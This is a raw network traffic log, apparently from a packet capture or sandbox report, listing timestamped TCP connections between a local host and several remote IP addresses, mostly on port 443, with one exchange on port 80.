Oct 29, 2024 20:35:01.509723902 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.509763956 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.516370058 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.521974087 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.522083044 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.522089958 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.522111893 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.522160053 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.528271914 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.534081936 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.534146070 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.534157038 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.540527105 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.540927887 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.540936947 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.564331055 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.564373970 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.564393997 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.564404964 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.564416885 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.564460993 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.564629078 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.564668894 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.564682961 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.565130949 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.565161943 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.565205097 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.565223932 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.565263033 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.568736076 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.574259043 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.574297905 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.574345112 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.574357033 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.574393034 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.579832077 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.585540056 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.585580111 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.585633993 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.585644960 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.585700035 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.588582993 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.591665030 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.591706038 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.591741085 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.591753006 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.591793060 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.594841957 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.598254919 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.598331928 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.598386049 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.598400116 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.598432064 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.601253986 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.604598045 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.604631901 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.604641914 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.604654074 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.604690075 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.607594967 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.607650042 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.607702971 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.607712984 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.613756895 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.613810062 CET	443	49724	142.250.185.228	192.168.2.5
Oct 29, 2024 20:35:01.613883018 CET	49724	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:01.696887016 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.697457075 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.697484970 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.698240042 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.698245049 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.742166996 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.743244886 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.743264914 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.744119883 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.744124889 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.744664907 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.745605946 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.745613098 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.746073961 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.746081114 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.752809048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:01.752867937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:01.765326023 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.765841007 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.765872002 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.766417027 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.766422987 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.773226976 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.774168968 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.774202108 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.774707079 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.774712086 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.832710981 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.833101034 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.833177090 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.833214998 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.833233118 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.833245039 CET	49733	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.833250046 CET	443	49733	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.837568045 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.837615013 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.837789059 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.838028908 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.838042021 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.871229887 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.871449947 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.871546030 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.871671915 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.871671915 CET	49734	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.871686935 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.871699095 CET	443	49734	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.874955893 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.876122952 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.876405001 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.877280951 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.877320051 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.877445936 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.878777027 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.878783941 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.878794909 CET	49732	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.878799915 CET	443	49732	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.879981041 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.880001068 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.882280111 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.882297039 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.882426977 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.882591963 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.882601023 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.904489040 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.904768944 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.904865980 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.905098915 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.905117989 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.905131102 CET	49731	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.905137062 CET	443	49731	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.906407118 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.906518936 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.906594992 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.916567087 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.916587114 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.916599035 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.916604996 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.985682011 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.985732079 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.985795021 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.987418890 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.987432003 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.987950087 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.987977982 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:01.988046885 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.988198042 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:01.988209963 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.581175089 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.584729910 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.584759951 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.587641954 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.587646961 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.630431890 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.632613897 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.650544882 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.650579929 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.651747942 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.651752949 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.652307987 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.652338028 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.653367043 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.653371096 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.726120949 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.726511955 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.726600885 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.728607893 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.734878063 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.772653103 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.780103922 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.780508041 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.780581951 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.780999899 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.781070948 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.781115055 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.785316944 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.785339117 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.785351992 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.785357952 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.787390947 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.787411928 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.788271904 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.922230959 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.922266960 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:02.922283888 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:02.922291040 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.004427910 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.004472017 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.005053997 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.005074978 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.006242990 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.006274939 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.006705999 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.006716967 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.080753088 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.080795050 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.080862999 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.082453012 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.082499981 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.082926989 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.083997011 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.084007978 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.084094048 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.085695982 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.085719109 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.085856915 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.085885048 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.085936069 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.085946083 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.140856028 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.140932083 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.141429901 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.141505957 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.141515970 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.141571999 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.151926041 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.151954889 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.151968956 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.151977062 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.158032894 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.158061028 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.158076048 CET	49740	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.158082008 CET	443	49740	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.164669037 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.164710045 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.164782047 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.166733027 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.166770935 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.166821003 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.175029993 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.175061941 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.175144911 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.175173998 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.320539951 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:03.320591927 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:03.320717096 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:03.323184013 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:03.323200941 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:03.527868986 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:03.527918100 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:03.527996063 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:03.529306889 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:03.529320955 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:03.838459969 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.839106083 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.839137077 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.839675903 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.839687109 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.860167027 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.860691071 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.860728979 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.861232996 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.861241102 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.875212908 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.875703096 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.875719070 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.876291037 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.876296043 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.912086010 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.921694040 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.933674097 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.933686972 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.934514046 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.934519053 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.934976101 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.935000896 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.935688019 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.935698986 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.972481966 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.972767115 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.972842932 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.973140001 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.973161936 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.973172903 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.973179102 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.978441000 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.978491068 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.978725910 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.979532003 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.979551077 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.990541935 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.990720034 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.990784883 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.990818024 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.990835905 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.990858078 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.990868092 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.996576071 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.996613979 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:03.996685028 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.997529984 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:03.997543097 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.030941963 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.031867981 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.031932116 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.031966925 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.031985998 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.031996965 CET	49746	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.032001972 CET	443	49746	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.035036087 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.035058022 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.035348892 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.035578966 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.035593033 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.059824944 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.060511112 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.060611010 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.060656071 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.060673952 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.060688972 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.060693979 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.063697100 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.063746929 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.063818932 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.064058065 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.064070940 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.077838898 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.077981949 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.078032017 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.078111887 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.078130960 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.078141928 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.078147888 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.080388069 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.080429077 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.080573082 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.080693960 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:04.080710888 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:04.160650015 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.160747051 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.164395094 CET	49750	443	192.168.2.5	184.28.90.27
Oct 29, 2024 20:35:04.164408922 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.164678097 CET	443	49750	184.28.90.27	192.168.2.5
Oct 29, 2024 20:35:04.167881012 CET	49758	443	192.168.2.5	142.250.181.238
Oct 29, 2024 20:35:04.167907953 CET	443	49758	142.250.181.238	192.168.2.5
